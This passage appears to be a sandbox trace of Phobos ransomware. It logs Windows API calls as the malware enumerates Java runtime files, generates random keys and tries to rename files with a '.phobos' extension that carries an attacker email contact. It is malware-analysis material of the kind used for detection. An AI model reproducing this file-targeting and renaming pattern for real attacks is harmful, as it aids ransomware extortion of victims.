lpFileSize=0x3ebf9e0*=16448) returned 1 [0125.326] CloseHandle (hObject=0x594) returned 1 [0125.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0125.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.326] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.327] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=79936) returned 1 [0125.327] CloseHandle (hObject=0x594) returned 1 [0125.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0125.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.327] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.328] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=197184) returned 1 [0125.328] CloseHandle (hObject=0x594) returned 1 [0125.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0125.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.328] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.329] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=49216) returned 1 [0125.329] CloseHandle (hObject=0x594) returned 1 [0125.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0125.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.329] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.329] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=24128) returned 1 [0125.329] CloseHandle (hObject=0x594) returned 1 [0125.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0125.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.330] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.330] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=110144) returned 1 [0125.330] CloseHandle (hObject=0x594) returned 1 [0125.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0125.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.330] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.330] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=192576) returned 1 [0125.330] CloseHandle (hObject=0x594) returned 1 [0125.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0125.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.331] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.331] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77888) returned 1 [0125.331] CloseHandle (hObject=0x594) returned 1 [0125.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0125.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.331] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.332] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3244) returned 1 [0125.332] CloseHandle (hObject=0x594) returned 1 [0125.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0125.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.332] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.332] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=149) returned 1 [0125.332] CloseHandle (hObject=0x594) returned 1 [0125.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0125.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.333] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.333] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=634) returned 1 [0125.333] CloseHandle (hObject=0x594) returned 1 [0125.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0125.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.333] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.334] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1378) returned 1 [0125.334] CloseHandle (hObject=0x594) returned 1 [0125.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0125.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.334] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.335] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3036922) returned 1 [0125.335] CloseHandle (hObject=0x594) returned 1 [0125.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0125.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0 [0125.335] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.335] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=84355) returned 1 [0125.335] CloseHandle (hObject=0x594) returned 1 [0125.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0125.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.336] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.336] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=51236) returned 1 [0125.336] CloseHandle (hObject=0x594) returned 1 [0125.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0125.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.336] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.336] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=632) returned 1 [0125.336] CloseHandle (hObject=0x594) returned 1 [0125.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0125.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.337] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.337] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1044) returned 1 [0125.337] CloseHandle (hObject=0x594) returned 1 [0125.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0125.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.338] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.338] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=274474) returned 1 [0125.338] CloseHandle (hObject=0x594) returned 1 [0125.338] GetFileAttributesW 